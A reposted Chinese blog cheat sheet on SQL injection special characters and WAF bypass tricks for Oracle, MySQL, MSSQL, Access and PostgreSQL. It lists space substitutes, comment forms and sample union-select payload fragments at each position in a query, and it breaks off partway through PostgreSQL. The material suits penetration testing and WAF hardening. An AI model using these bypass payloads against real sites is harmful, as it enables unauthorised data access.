url和mysql注入中的特殊字符的使用
- 注入使用到的特殊字符
URL中特殊字符
- %00配合分号“;”使用表示NULL,mysql语句结束
- %23代表字符#号
- %20代表空格
MYSQL中特殊字符
- ()代替“空格”
- 0x7e代表字符“~”
- ;%00(代表;null)可以作为语句结束
- # 可作为语句结束
- -- (--后面有个空格,在url中用+号表示) 可以作为语句结束
数据库语法整理及WAF绕过方式
转自:https://blog.csdn.net/RuoLi_s/article/details/120562151?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-120562151-blog-104975445.235^v43^pc_blog_bottom_relevance_base5&spm=1001.2101.3001.4242.1&utm_relevant_index=3
原文链接请点击:https://www.cnblogs.com/ruoli-s/p/15355611.html
关系型数据库
关系型数据库:指采用了关系模型来组织数据的数据库。
直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织
当今主流的关系型数据库有:Oracle,Microsoft SQL Server,MySQL,PostgreSQL,DB2, Microsoft Access, SQLite,MariaDB
Oracle
Oracle特性:
select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
-
位置一
- 可利用其他控制字符替换空格:
%00
、%09
、%0a
、%0b
、%0c
、%0d
- 可利用其他符号:
.
- 可利用其他控制字符替换空格:
-
位置二
- 可利用其他控制字符替换空格:
%00
、%09
、%0a
、%0b
、%0c
、%0d
- 可利用其他控制字符替换空格:
-
位置三
- 可利用其他控制字符替换空格:
%00
、%09
、%0a
、%0b
、%0c
、%0d
- 可利用其他符号:
+
、-
、%ad
- 可利用其他控制字符替换空格:
-
位置四
- 可利用其他控制字符替换空格:
%00
、%09
、%0a
、%0b
、%0c
、%0d
- 可利用其他控制字符替换空格:
-
位置五
- 可利用其他控制字符替换空格:
%00
、%09
、%0a
、%0b
、%0c
、%0d
- 可插入字符:
%24
、`%30-%ff
- 可利用其他控制字符替换空格:
MySQL
MySql语法:
- 绕过逗号过滤
原码:union select 1,2,3,4; 绕过:union select * from (select 1)a JOIN (select 2)b JOIN (select 3)c JOIN (select 4)d;
- MySql特性:
select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
- 位置一
-
- 可利用其他控制字符替换空格:
%09
,%0a
,%0b
,%0c
,%0d
,%20
,%a0
。 - 可利用注释符号:
/**/
、#
、--+
-
Select/**/*/**/from/**/[dbo].[Users]/**/where id =1
- 可利用其他控制字符替换空格:
- 可利用数学运算以及数据类型:news_id=1.1,news_id=1E0,news_id=\N
-
位置二
- 可利用其他控制字符替换空格:
%09
,%0a
,%0b
,%0c
,%0d
,%20
,%a0
。 - 可利用注释符号:
/**/
、#
、--+
- 可利用括号 :union(select 1,2)
- 可利用其他控制字符替换空格:
-
位置三
- 可利用其他控制字符替换空格:
%09
,%0a
,%0b
,%0c
,%0d
,%20
,%a0
。 - 可利用注释符号:
/**/
、#
、--+
- 可利用其他符号:
+
、-
、~
、!
、@
- 可利用其他控制字符替换空格:
-
位置四
-
可利用其他控制字符替换空格:
%09
,%0a
,%0b
,%0c
,%0d
,%20
,%a0
。 -
可利用注释符号:
/**/
、#
、--+
-
可利用数学运算以及数据类型:union select user(),2.0from admin
union select user(),8e0from admin union select user(),\Nfrom admin
-
-
位置五
- 可利用其他控制字符替换空格:
%09
,%0a
,%0b
,%0c
,%0d
,%20
,%a0
。 - 可利用注释符号:
/**/
、#
、--+
- 可利用其他控制字符替换空格:
-
全局位置
- 可利用 反引号 号:
union select 1 schema_name from `information_schema.SCHEMATA` limit 0,1)
-
- 可利用内联注释:
union select 1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/ limit 0,1)
-
- 可利用
{}
号:
id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
- 可利用
-
- 可利用
()
号:
id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
- 可利用
MSSQL
MSSQL特性:
select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
-
位置一
- 可利用其他控制字符替换空格:
%01~%0F
、%11~%1F
。 - 可利用注释符号:/**/
- 可利用数学运算以及数据类型:news_id=1.1,news_id=1e0,news_id=1-1
- 可利用其他控制字符替换空格:
-
位置二
- 可利用其他控制字符替换空格:
%01~%0F
、%11~%1F
。 - 可利用注释符号:/**/
- 可利用冒号:union:slect
- 可利用其他控制字符替换空格:
-
位置三
- 可利用其他控制字符替换空格:
%01~%0F
、%11~%1F
。 - 可利用注释符号:/**/
- 可利用其他符号:
+
、-
、~
、:
、.
- 可利用其他控制字符替换空格:
-
位置四
-
可利用其他控制字符替换空格:
%01~%0F
、%11~%1F
。 -
可利用注释符号:/**/
-
可利用其他字符:%80~%FF
-
-
位置五
-
可利用其他控制字符替换空格:
%01~%0F
、%11~%1F
。 -
可利用注释符号:/**/
-
可利用冒号:union:select
-
可利用其他字符:
:
、.
、%80~%FF
-
Access
Access特性:
select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
-
位置一
- 可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
、%16
- 可利用其他控制字符替换空格:
-
位置二
- 可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
- 可利用其他控制字符替换空格:
-
位置三
- 可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
- 可利用其他符号:
+
、-
、.
、=
- 可利用其他控制字符替换空格:
-
位置四
- 可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
- 可利用其他控制字符替换空格:
-
位置五
- 可利用其他控制字符替换空格:
%09
、%0a
、%0c
、%0d
- 可利用其他控制字符替换空格:
PostgreSQL
数据库特性
- Postgresql 字符串
- Postgres 输入的所有字符串都被认为是 Unknown 类型
- Unknown 类型有两种输入模式:
- 单引号转义模式;
- 美元符逃逸模式;
- 在单引号转义模式中允许使用前缀 E/U/B/X 表示转义字符串/Unicode 字符串/位串。
- 其中 E 表示进行 C 语言风格的转义;
- U 表示进行 Unicode 转义,并支持自定义转义符;
- B 和 X 代表后续跟随的是一个 bit 序列;
PostgreSQL特性:
select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin
- 位置一
-
- 可利用其他控制字符替换空格:
继续查看,请参考上面的连接原文